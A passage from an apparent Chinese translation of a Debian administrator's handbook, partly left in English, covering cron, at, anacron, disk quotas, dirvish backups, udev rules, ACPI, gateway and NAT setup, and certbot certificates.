然而，還是要小心，外在環境可能突然改變，就該以 cron 命令的行為手動檢查其相容性；必要時，準備特別的時程供每年的這兩個麻煩夜晚。

Each significant line of a crontab entry describes a scheduled command with the six (or seven) following fields:

- the value for the minute (from 0 to 59);

- 小時值 (從 0 到 23)；

- 每月的日數值 (從 1 到 31)；

- 月的值 (從 1 到 12)；

- 每週的日數值 (從 0 到 7，1 表示星期一，星期天可以是 0 或 7；也可用星期的前三個英文字母表示，如 Sun、Mon等)；

- 必須以使用者名稱執行 (在 /etc/crontab 檔案與其位在 /etc/cron.d/ 內，但不在使用者自己的 crontab 檔案內)；

- 執行的命令 (滿足前五個欄位的條件時)。

這些內容的詳情記錄在 crontab(5) 手冊內。

Each value can also be expressed in the form of a list of possible values (separated by commas). The syntax a-b describes the interval of all the values between a and b. The syntax a-b/c describes the interval with an increment of c (example: 0-10/2 means 0,2,4,6,8,10). An asterisk * is a wildcard, representing all possible values.

範例 9.2. Sample user crontab file

#Format

#min hour day mon dow  command

# Download data every night at 7:25 pm

25  19   *   *   *    $HOME/bin/get.pl

# 8:00 am, on weekdays (Monday through Friday)

00  08   *   *   1-5  $HOME/bin/dosomething

# every two hours

*  */2   *   *   *    $HOME/bin/dosomethingelse

# Restart the IRC proxy after each reboot

@reboot /usr/bin/dircproxy

秘訣 在根執行命令

啟動電腦後，固定執行一次的命令，可以使用 @reboot 巨集 (重新啟動 cron 而不必以 @reboot 觸動命令排程)。此巨集取代在 crontab 款目的前五個欄位。

其他 模擬 cron 用 systemd

It is possible to emulate part of cron's behavior with systemd's timer mechanism (see 節 9.1.1, “systemd 啟動系統”).

9.7.2. 使用 at 命令

The at executes a command at a specified moment in the future. It takes the desired time and date as command-line parameters, and the command to be executed in its standard input. The command will be executed as if it had been entered in the current shell. at even takes care to retain the current environment, in order to reproduce the same conditions when it executes the command. The time is indicated by following the usual conventions: 16:12 or 4:12pm represents 4:12 pm. The date can be specified in several European and Western formats, including DD.MM.YY (27.07.22 thus representing 27 July 2022), YYYY-MM-DD (this same date being expressed as 2022-07-27), MM/DD/[CC]YY (i.e., 12/25/22 or 12/25/2022 will be December 25, 2022), or simple MMDD[CC]YY (so that 122522 or 12252022 will, likewise, represent December 25, 2022). Without it, the command will be executed as soon as the clock reaches the time indicated (the same day, or tomorrow if that time has already passed on the same day). You can also simply write “today” or “tomorrow”, which is self-explanatory.

$ at 09:00 27.07.22 <<END

> echo "Don't forget to wish a Happy Birthday to Raphaël!" \

>   | mail lolando@debian.org

> END

warning: commands will be executed using /bin/sh

job 1 at Wed Jul 27 09:00:00 2022

還有另個方法可以延後執行命令的時間點：at now + 數字 間隔。間隔 可以是 分、小時、日、或 週。數字 指明執行命令前的時間。

取消 cron 排定的工作，祗需執行 crontab -e 並刪除在 crontab 檔案中對應的列。對於使用 at 的工作，同樣簡單：執行 atrm 工作編號 就可以了。排定時由 at 命令指定工作編號，可以用 atq 命令列出當前工作的清單，籨而找到該工作編號。

9.8. 排定非同步工作：anacron

anacron 適用於無法全天候開機的電腦，用以取代 cron 後台進程。通常半夜執行由於常規的工作，若已關機就無法執行它。anacron 的目的就是考量這種情況，讓該做的工作仍然能執行。

機器啟動幾分鐘後，請注意 anacron 將頻頻執行此類活動，可能導致電腦反應遲緩。這也正是 /etc/anacrontab 檔案中的工作以 nice 命令開頭的原因，用以減少其執行優先序，進而限制對系統的影響。注意，此檔案的格式與 /etc/crontab 不完全相同；若對 anacron 有特殊的需求，參見 anacrontab(5) 手冊頁面。

回到基礎 優先序與 nice

Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed, several processes can run in parallel, and be owned by different users: the kernel mediates access to the resources between the different processes. As a part of this task, it has a concept of priority, which allows it to favor certain processes over others, as needed. When you know that a process can run in low priority, you can indicate so by running it with nice program. The program will then have a smaller share of the CPU, and will have a smaller impact on other running processes. Of course, if no other process needs to run, the program will not be artificially held back.

nice 添加 “niceness” 優先序：正數層級 (1 至 19) 逐漸減少優先序，負數層級 (-1 至 -20) 則逐漸增加 — 但祗有超級用戶才能使用負數層級。除非特別指明 (見 nice(1) 手冊頁面)，nice 把現在的執行層級增加 10。 nice 会给优先级添加“niceness”：正值优先级（从１到１９）逐渐降低优先级，而负值（从－１到－２０）增加优先级－但是仅有超级用户可以使用负值优先级。除非特别指明（参看 nice(1) 手册）， nice 将当前优先级加１０。

若發現已執行的工作應以 nice 啟動，修正它並不算太遲；renice 命令可改變執行中程序的優先序，增加或減少均可 (但減少 “niceness” 是超級使用者的權限)。

安裝 anacron 套件可停用 cron 在 /etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、與 /etc/cron.monthly/ 資料夾中的腳本。可避免 anacron 與 cron重複執行這些腳本。cron 命令仍可處理其他計畫中的任務 (尤其是其他使用者安排的任務)。

9.9. 配額

配額系統可以限制對使用者與群組可用的磁碟空間。設定時，必須有核心支援它 (以 CONFIG_QUOTA 選項編譯) — 使用 Debian 核心時。配額管理軟體在 quota Debian 套件內。

在檔案系統內啟用配額時，必須指明e usrquota 與 grpquota 選項於 /etc/fstab 中，分別供使用者與群組使用。重新啟動電腦後，就能在未使用的磁碟空間中更新配額 (必須如此，才能重新計算已使用的磁碟空間)。

edquota user (或 edquota -g group) 命令允許在仍有磁碟空間的前提下，改變配額。

進階 以腳本設定配額

可以在腳本中，使用 setquota 程式自動改變多個配額。在 setquota(8) 手冊頁面列出詳細的語法。

配額系統允許您設定四個限制：

- two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, the 1024 available bytes of each block can only be assigned to one file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

- two limits (“soft” and “hard”) refer to the number of inodes used. Each file occupies at least one inode to store information about it (permissions, owner, timestamp of last access, etc.). It is thus a limit on the number of user files.

“軟的” 限制可以被暫時超越；超過 warnquota 命令指定的配額時，由 cron 命令提出警告。“硬的” 限制必須遵守：系統拒絕任何超出硬配額的操作。

術語 區塊和節點

檔案系統把硬式磁碟機切割成若干區塊 — 小塊的連續區域。新增檔案系統時決定這些區塊的大小，通常是 1 至 8 K位元組之間。

區塊可以儲存真實資料的檔案，或者檔案系統的元資料。在元資料中，就會找到節點。一個節點使用硬式磁碟機裡的一個區塊 (但此區塊未納入區塊配額中，祗算是節點的配額)，包含節點對應的檔案 (名稱、擁有者、權限等) 以及指向實際使用資料區塊的指針。對於佔用多個區塊的極大檔案，已超出一個指針的索引範圍，就使用間接區塊系統；節點參考至未含資料的區塊清單，而是另個區塊清單。

使用 edquota -t 命令，可以設定超過軟限制的 “寬限期”。寬限期後，軟限制將視為硬限制。使用者將減少其磁碟空間的使用量至配額之內。

進階 設定新使用者的預設配額

為了自動設定新使用者的配額，必須組態使用者模板 (使用 edquota 或 setquota 命令) 並在 /etc/adduser.conf 檔案的 QUOTAUSER 變數中指定讓使用者名稱。該配額組態將自動應用於 adduser 命令來新增使用者。

9.10. 備份

備份是管理員的主要責任之一，它是個複雜的主題，涉及難以掌握的強大工具。

Many programs exist, such as amanda, bacula, or BackupPC. Those are client/server systems featuring many options, whose configuration is rather difficult. Some of them provide user-friendly web interfaces to mitigate this. For non-enterprise systems, administrators might want to check out rsnapshot or rdiff-backup. Users can easily create backups of their filesystems with timeshift, fsarchiver, duplicity, or even dd.

Debian contains dozens of other backup software covering all possible use cases, as you can easily confirm with apt-cache search backup.

與其逐一介紹它們，本章將經由 Falcot 公司管理者的角度，設定備份的策略。

Falcot 公司的備份有兩個目標：無誤地復原被刪除的檔案，以及快速地復原硬碟毀損的電腦 (伺服器或桌面)。

9.10.1. 使用 rsync 備份

以磁帶備份太慢且太貴，現在採用備份在專屬伺服器的硬碟策略，以 RAID (見 節 12.1.1, “軟 RAID”) 軟體保護資料在硬碟毀損時不致遺失。桌面電腦沒有個別備份的策略，使用者應在部份的檔案伺服器備份其資料。rsync 命令 (取自同名的套件) 用於逐日備份這些伺服器。

回到基礎 硬連結，檔案的第二個名稱

相對於符號連結，硬連結不能自外於被連結檔案。新增的硬連結等於給檔案另個名稱。刪除硬連結等於刪除該檔案的另個名稱。祗要還有另個名稱指定給檔案，則資料仍在檔案系統內。不同於複製，硬連結並未在硬碟裡複製另個空間。

以 ln target link 命令新增硬連結。link 檔案是 target 檔案的新名稱。硬連結祗能應用於同個檔案系統，符號連結則不受此限。

受限於可用的硬碟空間，無法執行完整的逐日備份。所以，rsync 命令優先於以硬連結複製內容，避免使用太多的硬碟空間。rsync 祗處理上次備份後，再被修改的檔案。以這個機制可使用較小的空間備份。因為所有的備份已經立即可得與可用 (例如，在同個網路的不同資料夾共享)，可快速地比對兩個指定日期。

這種備份機制可以輕易地經由 dirvish 程式執行。使用備份的儲存空間 (“空” 的)，放置含時間戳記的備份檔案 (在 dirvish 文件中，這些檔案被稱為 “vaults”)。

主要的組態在 /etc/dirvish/master.conf 檔案內。設定備份儲存空間的位置，管理 “vaults” 清單，以及備份到期的預設值。其他的組態位在 bank/vault/dirvish/default.conf 檔案內，包括對應檔案集的特殊組態。

範例 9.3. /etc/dirvish/master.conf 檔案

bank:

/backup

exclude:

lost+found/

core

*~

Runall:

root    22:00

expire-default: +15 days

expire-rule:

#   MIN HR    DOM MON       DOW  STRFTIME_FMT

*   *     *   *         1    +3 months

*   *     1-7 *         1    +1 year

*   *     1-7 1,4,7,10  1

The bank setting indicates the directory in which the backups are stored. The exclude setting allows you to indicate files (or file types) to exclude from the backup. The Runall is a list of file sets to backup with a time-stamp for each set, which allows you to assign the correct date to the copy, in case the backup is not triggered at precisely the assigned time. You have to indicate a time just before the actual execution time (according to /etc/cron.d/dirvish). Finally, the expire-default and expire-rule settings define the expiration policy for backups. The above example keeps forever backups that are generated on the first Sunday of each quarter, deletes after one year those from the first Sunday of each month, and after 3 months those from other Sundays. Other daily backups are kept for 15 days. The order of the rules does matter, Dirvish uses the last matching rule, or the expire-default one if no other expire-rule matches.

實踐 定期失效

失效規則未被 dirvish-expire 使用。實際上，在新增備份副本時，設定該複本失效的日期。dirvish-expire 細讀儲存的複本並刪除也達失效日期的檔案。

範例 9.4. /backup/root/dirvish/default.conf 檔案

client: rivendell.falcot.com

tree: /

xdev: 1

index: gzip

image-default: %Y%m%d

exclude:

/var/cache/apt/archives/*.deb

/var/cache/man/**

/tmp/**

/var/tmp/**

*.bak

以上的例子指定需備份的檔案：在機器 rivendell.falcot.com (在地備份時，祗由 hostname 命令指定在地機器的名稱) 內的檔案，尤其是在根目錄之下的檔案 (tree: /)，除了列在 exclude 內的檔案。備份將限制在一個檔案系統的內容 (xdev: 1)。將不包括來自掛載點的檔案。將生成一個儲存檔案索引 (index: gzip)，以及根據現在日期生成的映像檔 (image-default: %Y%m%d)。

There are many options available, all documented in the dirvish.conf(5) manual page. Once these configuration files are setup, you have to initialize each file set with the dirvish --vault vault --init command. From there on the daily invocation of dirvish-runall will automatically create a new backup copy just after having deleted those that expired.

實踐 以 SSH 遠端備份

把資料儲存在遠端機器時，需用 ssh 命令連結它，並啟用 rsync 做為伺服器。需以超級使者的權限才能自動連結。以 SSH 認證碼精確連結 (見 節 9.2.1.1, “金鑰認證”)。

9.10.2. 供備份恢復系統

Desktop computers, which are not backed up, will be easy to reinstall from custom DVD-ROMs/USB sticks prepared with simple-cdd (see 節 12.3.3, “Simple-CDD: The All-In-One Solution”). Since this performs an installation from scratch, it loses any customization that can have been made after the initial installation. This is fine since the systems are all hooked to a central LDAP directory for accounts and most desktop applications are preconfigured thanks to dconf (see 節 13.3.1, “GNOME” for more information about this).

Falcot Corp 的管理者知道該公司備份政策的限制。未以防火牆保護備份伺服器，而是把它放在另個房間，以免在災難來臨時與主伺服器同歸一燼。而且，每週以 DVD-ROM 做增量備份 — 祗備份修改過的檔案。

進階 備份 SQL 和 LDAP 服務

很多服務 (諸如 SQL 或 LDAP 資料庫) 不能以複製檔案的方式備份其系統 (unless they are properly interrupted during creation of the backups, which is frequently problematic, since they are intended to be available at all times)。因此，必須以 “匯出” 機制生成 “倒出資料” 才能安全地備份。量很大，妥善地壓縮。為了減少儲存空間，每週祗儲存完成的文字檔，以及每天的 diff，以 diff file_from_yesterday file_from_today 命令建立。xdelta 程式從二進位倒出增量的不同資料。

文化 TAR，磁帶備份標準

從歷史上看，最簡單的 Unix 備份是儲存在 TAR 檔案的磁帶。tar 命令的意思是 “Tape ARchive”。

9.11. 熱插拔：hotplug

9.11.1. 介绍

The hotplug kernel subsystem dynamically handles the addition and removal of devices, by loading the appropriate drivers and by creating the corresponding device files (with the help of udevd). With modern hardware and virtualization, almost everything can be “hotplugged“: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory.

核心內的資料庫有每個設備的 ID 及其驅動程式。在啟動階段載入此資料庫，偵測各接口的週邊設備，並在運行中偵測熱插入的設備。接收到插入的設備後，送出訊息給 udevd，讓其新增對應的條目於 /dev/ 內。

9.11.2. 命名問題

熱插拔技術出現前，很容易為設備指定名稱。根據設備所在的位置命名即可。就是設備所在的接口。但每個接口都能連結設備後，這件事就有點麻煩。以數位相機與 USB 碟為例，對電腦而言，它們都是磁碟機。數位相機可能是 /dev/sdb 而 USB 碟可能是 /dev/sdc (/dev/sda 代表電腦本身的硬式磁碟)。設備名稱不固定；依其連結的順序而命名。

此外，愈來愈多的驅動程式，以動態值指定設備的主要/次要編號，不可能再把固定款目指定給固定的設備，因為重新開機後，一切都變了。

udev 用以解決此問題。

9.11.3. udev 的運作

當 udev 被核心告知有個新的設備，它參考 /sys/ 裡對應的款目，搜集該設備的資訊，尤其是那些足辨別的獨特資訊 (網卡的 MAC 位址、某些 USB 設備的序號)。

有了這些資訊後，udev 會查閱 /etc/udev/rules.d/ 和 /lib/udev/rules.d/ 中所有的規則。在此過程中，決定如何為設備命名、使用的連結符號 (給個其他名稱)，以及執行的命令。查詢所有檔案後，依序評估該等規則 (除了使用 “GOTO”指令的文件)。如此一來，一個事件就可能對應多個規則。

規則檔案的語法很簡單；每列有選擇規矩與指定變數。前者用於選擇回應的事件，後者設定採取的行動。都以逗點區隔，以運算元區隔選定的範圍 (使用比較運算元，如 == 或 !=) 或指定變數 (使用 =、+= 或 := 運算元)。

依下列變數使用比較運算元：

- KERNEL：核心指定給設備的名稱；

- ACTION：對應於事件的行動 (“add” 新增設備時，“remove” 移除設備時)；

- DEVPATH：設備在 /sys/ 裡的路徑；

- SUBSYSTEM：產生請求的核心次系統 (很多這類次系統，包括“usb”、“ide”、“net”、“firmware”等)；

- ATTR{屬性}：屬性 檔案的內容在設備的 /sys/$devpath/ 資料夾內。可在此找到 MAC 位址及其他辨識用的匯流排；

- KERNELS、SUBSYSTEMS 與 ATTRS{屬性} 係用於比較當前設備的選項變數；

- PROGRAM：被測試的程式 (若為真，則送回 0)。程式的內容儲存在標準輸出以便被 RESULT 測試使用；

- RESULT：對最後一次呼叫的 PROGRAM 產生的標準輸入進行測試。

右方的運算元可供模式表達同時匹配的多個值。例如，* 表示匹配所有的字元 (包括空字元)；? 表示匹配一個字元，而 [] 表示匹配一組在方括號內的字元 (或若首字元為驚嘆號則做反義的表巧，以 a-z 表示連續的字元)。

對於指定的運算元，= 指定一個值 (並取代現在的值)；用在清單時，清空原來的值祗剩指定的值。:= 功能相同，且不允許再更改原變數。至於 +=，新增一個項目在清單內。可以更改以下的變數：

- NAME：在 /dev/ 新增設備名稱。祗計算第一次的名稱；忽略其他的；

- SYMLINK：指向同一設備的符號清單；

- OWNER、GROUP 和 MODE 擁有設備的使用者及群組，及其他權限；

- RUN：回應此事件的執行程式清單。

指定給這些變數的值可以使用以下的替代品：

- $kernel 或 %k：相當於 KERNEL；

- $number 或 %n：設備的序號，例如，sda3，就是 “3”；

- $devpath 或 %p：相當於 DEVPATH；

- $attr{屬性} 或 %s{屬性}：相當於 ATTRS{屬性}；

- $major 或 %M：設備的核心主要編號；

- $minor 或 %m：設備核心的次要編號；

- $result 或 %c：以 PROGRAM 最後執行程式的輸出字串；

- 最後，%% 和 $$ 分別是百分號及錢號。

The above lists are not complete (they include only the most important parameters), but the udev(7) manual page should be exhaustive.

9.11.4. 具體的例子

考慮給予 USB 隨身碟一個固定名稱的情況。首先，必須找到能夠識別的元素。因此，插入它並執行 udevadm info -a -n /dev/sdc (以指定給該隨身碟的實際名稱取代 /dev/sdc)。

# udevadm info -a -n /dev/sdc

[...]

looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc':

KERNEL=="sdc"

SUBSYSTEM=="block"

DRIVER==""

ATTR{hidden}=="0"

ATTR{events}=="media_change"

ATTR{ro}=="0"

ATTR{discard_alignment}=="0"

ATTR{removable}=="1"

ATTR{events_async}==""

ATTR{alignment_offset}=="0"

ATTR{capability}=="51"

ATTR{events_poll_msecs}=="-1"

ATTR{stat}=="130  0  6328  435  0  0  0  0  0  252  252  0  0  0  0"

ATTR{size}=="15100224"

ATTR{range}=="16"

ATTR{ext_range}=="256"

ATTR{inflight}=="0  0"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0':

[...]

ATTRS{max_sectors}=="240"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1':

KERNELS=="2-1"

SUBSYSTEMS=="usb"

DRIVERS=="usb"

ATTRS{bDeviceProtocol}=="00"

ATTRS{bNumInterfaces}==" 1"

ATTRS{busnum}=="2"

ATTRS{quirks}=="0x0"

ATTRS{authorized}=="1"

ATTRS{ltm_capable}=="no"

ATTRS{speed}=="480"

ATTRS{product}=="TF10"

ATTRS{manufacturer}=="TDK LoR"

[...]

ATTRS{serial}=="07032998B60AB777"

[...]

依照檢測設備變數，以及父設備的變數，新增規則。以上的例子可以新增兩個規則：

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk"

KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

在文件中設定這些規則後，例如把它命名為 /etc/udev/rules.d/010_local.rules，就可以移除和再連結 USB 隨身碟。可看到 /dev/usb_key/disk 代表與 USB 隨身碟連結的磁碟，/dev/usb_key/part1 是其第一個分區。

進階 除錯 udev 的組態

如同其他的後台進程，udevd 把日誌儲存在 /var/log/daemon.log。但是預設是不囉唆的，且不足以瞭解發生的事。udevadm control --log-priority=info 命令增加其詳細的內容並可解決此問題。udevadm control --log-priority=err 則回到預設的層次。

9.12. 電源管理：進階組態與電源介面 (ACPI)

電源管理很麻煩。是的，適度的暫停電腦時，需讓其設備的驅動程式知道如何進入待機狀態，而且在喚醒時分，可以適當的組態。不幸的是，在 Linux 之下，還有少數設備無法好好的休眠，因為製造商未提供必要的規格。

Linux supports ACPI (Advanced Configuration and Power Interface) — the most recent standard in power management. The acpid package provides a daemon that looks for power management related events (switching between AC and battery power on a laptop, etc.) and that can execute various commands in response.

小心顯示卡與待機

無法順利待機時，罪魁禍首多半是顯示卡的驅動程式。碰到這種情況，先測試最新的 X.org 圖形伺服器的最新版本。

介紹這麼多 Unix 系統的基本服務後，接著將關注管理機器的環境：網路。很多服務需要網路才能順利的運作。在下一章討論它們。

章 10. 網路架構

Linux 繼承整個 Unix 的網路功能，Debian 提供整套建立與管理網路的工具。本章介紹這些工具。

10.1. 閘道器

閘道器是連結多個網路的系統。此名詞通常用於本地網路通往外部 IP 位址的 “出口”。閘道器把每個網路連結在一起，且做為路由器在不同介面間傳送 IP 封包。

基本 IP 封包

今天，大部份的網路使用 IP 通信協定 (Internet Protocol)。這種協定把傳輸資料切割成小小的封包。除了實際傳輸的資料外，每個封包還包括必備的路由資訊。

基本 TCP/UDP

即使在 IP 上傳輸資料，大部份程式都不處理個別的封包問題；他們通常使用 TCP (Transmission Control Protocol)。TCP 是 IP 的上層，為專屬的資料流建立兩點間的連結。程式祗看到資料進來的款目，並保證同樣的資料無誤 (且以同樣順序) 流到另端連結的出口。在較低層可能發生多種錯誤，都可以被 TCP 補償：重送失去的封包、重組到達的封包 (例如，經由不同路徑送到) 的順序。

另個在 IP 上的協定是 UDP (User Datagram Protocol)。與 TCP 不同，它是封包導向的。它的目標不同：UDP 的目的是在應用程式間傳輸封包。此協定不補償封包的遺漏，也不在意封包依序到達。此協定的主要優點是，大幅改善延遲的問題，遺漏的封包不影響接收後續封包，並且持續重送該遺漏的封包。

TCP 和 UDP 都涉及封包，也就是以 "分機號碼" 模式在機器內的程式建立連結。此做法允許在同個通訊中建立多個平行的管道，因為它們以不同的埠號區分之。

Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server. The list of services associated with port numbers can be found in the /etc/services file, also explained in services(5), as well as in:

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

區域網路接在私人網址範圍內 (不在網路網路的路由上)，閘道器就需要 位址掩蔽 讓其經由網路與外界溝通。掩蔽作業是網路層次的代理工作：內部機器，都被閘道器取代 (因為閘道器有外部的路由位址)，藉由掩蔽連結，資料送出出去，進來的資料經由掩蔽連結至內部機器。閘道器以指定的 TCP 埠執行此工作，通常是較高的號碼 (超過 60000)。對外部而言，經由內部機器的連結，就是來自此等保留埠號。

文化 私有位址範圍

RFC 1918 把三組 IPv4 位址設為區域網路專用，不能路由至網際網路。第一組是，10.0.0.0/8 (見專欄 基本 必要的網路概念 (Ethernet、IP 位址、次網路、廣播))，是一個A級範圍 (是 2^24 IP 位址)。第二組是，172.16.0.0/12，16個B級範圍 (172.16.0.0/16 至 172.31.0.0/16)，每個有 2^16 IP 位址。最後，192.168.0.0/16 是一個B級範圍 (包括 256 個C級範圍，192.168.0.0/24 至 192.168.255.0/24，各有 256 個 IP 位址)。

→ http://www.faqs.org/rfcs/rfc1918.html

閘道器有兩種 網路位址轉換 (英文縮寫 NAT) 的功能。第一種是 目的 NAT (DNAT)，改變封包目的 IP 位址 (與 TCP 或 UDP 埠)。連結追蹤機制同時改變後續封包的連結。第二種 NAT 是 來源 NAT (SNAT)，其中的 偽裝 是特例之一；SNAT 改變出去連結的來源 IP 位址 (與 TCP 或 UDP 埠)。如同 DNAT，所有的封包由連結追蹤機制處理。NAT 祗用於 IPv4 及其限制的位址空間；在 IPv6 內，其寬廣的位址技術允許直接在網際網路路由 (並不表示可以近用內部機器，因為防火牆可以過濾流量) 減少 NAT 的用途。

基本 埠轉發

DNAT 的具體應用之一是 埠轉發。進來連結至機器的指定埠號轉發至另部機器的埠號。雖然還有其他的方案達成同樣的效果，諸如應用層面的 ssh (見 節 9.2.1.4, “新增埠映射的加密通道”) 或 redir。

理論講多了，看看實務怎麼做。system into a gateway is a simple matter of enabling the appropriate option in the Linux kernel, 經由 /proc/ 虛擬檔案系統，從 Linux 核心進入 Debian 系統的閘道器：

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

This option can also be automatically enabled on boot if /etc/sysctl.conf or a configuration file in /etc/sysctl.d/ sets the net.ipv4.conf.default.forwarding option to 1.

範例 10.1. /etc/sysctl.conf 檔案

net.ipv4.conf.default.forwarding = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.tcp_syncookies = 1

在 IPv6 也能取得同樣的效果，把手冊中的 ipv4 換為 ipv6，並使用 net.ipv6.conf.all.forwarding 於 /etc/sysctl.conf 檔案內。

啟用 IPv4 偽裝就有點複雜，涉及組態 netfilter 防火牆。

需組態 netfilter，才能使用 NAT (IPv4)。因為此種組件的主要目的是套件篩選，詳情列在 章 14: “安全性” (見 節 14.2, “Firewall or Packet Filtering”)。

10.2. X.509 certificates

Certificates are an important building block of many network services built on cryptographic protocols, when they need some sort of central authentication.

Among those protocols, SSL (Secure Socket Layer) was invented by Netscape to secure connections to web servers. It was later standardized by IETF under the acronym TLS (Transport Layer Security). Since then TLS continued to evolve, and nowadays SSL is deprecated due to multiple design flaws that have been discovered.

The TLS protocol aims primarily to provide privacy and data integrity between two or more communicating computer applications. The most common case on the Internet is the communication between a client (e.g. a web browser) and a server.

A key pair is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

You can implement a CA (as described in 節 10.2.2, “公鑰基礎設施：easy-rsa”), but if you intend to use the certificate for a website, you need to rely on a trusted CA. The prices vary significantly, but it is possible to implement great security spending little to no money.

10.2.1. Creating gratis trusted certificates

Many programs create and use snakeoil certificates by default (see sidebar SECURITY Snake oil SSL certificates). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURE The Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix), mail delivery agents (Dovecot, Cyrus, etc.), and other network services.

The Falcot administrators just want to create a certificate for their website, which runs on Apache. There is a convenient Apache plugin for certbot that automatically edits the Apache configuration to serve the obtained certificate, so they make use of it:

# apt install python3-certbot-apache

[...]

# certbot --apache

aving debug log to /var/log/letsencrypt/letsencrypt.log

Plugins selected: Authenticator apache, Installer apache

Enter email address (used for urgent renewal and security notices)

(Enter 'c' to cancel): admin@falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Please read the Terms of Service at

https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must

agree in order to register with the ACME server. Do you agree?

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: Y

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Would you be willing, once your first certificate is successfully issued, to

share your email address with the Electronic Frontier Foundation, a founding

partner of the Let's Encrypt project and the non-profit organization that

develops Certbot? We'd like to send you email about our work encrypting the web,

EFF news, campaigns, and ways to support digital freedom.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: N

Account registered.

No names were found in your configuration files. Please enter in your domain

name(s) (comma and/or space separated)  (Enter 'c' to cancel): falcot.com

Requesting a certificate for falcot.com

Performing the following challenges:

http-01 challenge for falcot.com

Enabled Apache rewrite module

Waiting for verification...

Cleaning up challenges

Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf

Enabled Apache socache_shmcb module

Enabled Apache ssl module

Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf

Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

1: No redirect - Make no further changes to the webserver configuration.

2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for

new sites, or if you're confident your site works on HTTPS. You can undo this

change by editing your web server's configuration.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2

Enabled Apache rewrite module

Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Congratulations! You have successfully enabled https://falcot.com

You should test your configuration at:

https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:

- Congratulations! Your certificate and chain have been saved at:

/etc/letsencrypt/live/falcot.com/fullchain.pem

Your key file has been saved at:

/etc/letsencrypt/live/falcot.com/privkey.pem

Your cert will expire on 2022-06-04. To obtain a new or tweaked

version of this certificate in the future, simply run certbot again

with the "certonly" option. To non-interactively renew *all* of

your certificates, run "certbot renew"

- Your account credentials have been saved in your Certbot

configuration directory at /etc/letsencrypt. You should make a

secure backup of this folder now. This configuration directory will

also contain certificates and private keys obtained by Certbot so

making regular backups of this folder is ideal.

- If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate

Donating to EFF:                    https://eff.org/donate-le

CULTURE The Let's Encrypt Initiative

The Let's Encrypt initiative is a joint effort to create a free, automated, and open certificate authority (CA), run for the public's benefit. It is supported by the EFF and the Linux Foundation. The initiative provides an automated tool for acquiring and renewing certificates. This reduces the amount of manual effort involved, especially if multiple sites and domains must be managed. The certificates can also be used for SIP, XMPP, WebSockets and TURN servers. Usage of the service requires control over the DNS information of the domain in question (domain validation).

→ https://letsencrypt.org/how-it-works/

If you would rather keep the server running during the certificate creation, you can use the webroot plugin to get the certificate with the arguments certonly and --webroot. You would have to specify a --webroot-path (abbreviated -w), which should contain the files served. The command looks as follows:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

You need to restart all services using the certificates that you have created.

The certificates created are so called short-life certificates, which are valid for 90 days and must therefor be renewed every once in three months using the certbot renew command. However, we shouldn't renew every certificate manually, but automatically. A basic cron job is included by certbot in /etc/cron.d/certbot. To ensure that certificates can be automatically renewed, you can execute certbot renew --dry-run.

10.2.2. 公鑰基礎設施：easy-rsa

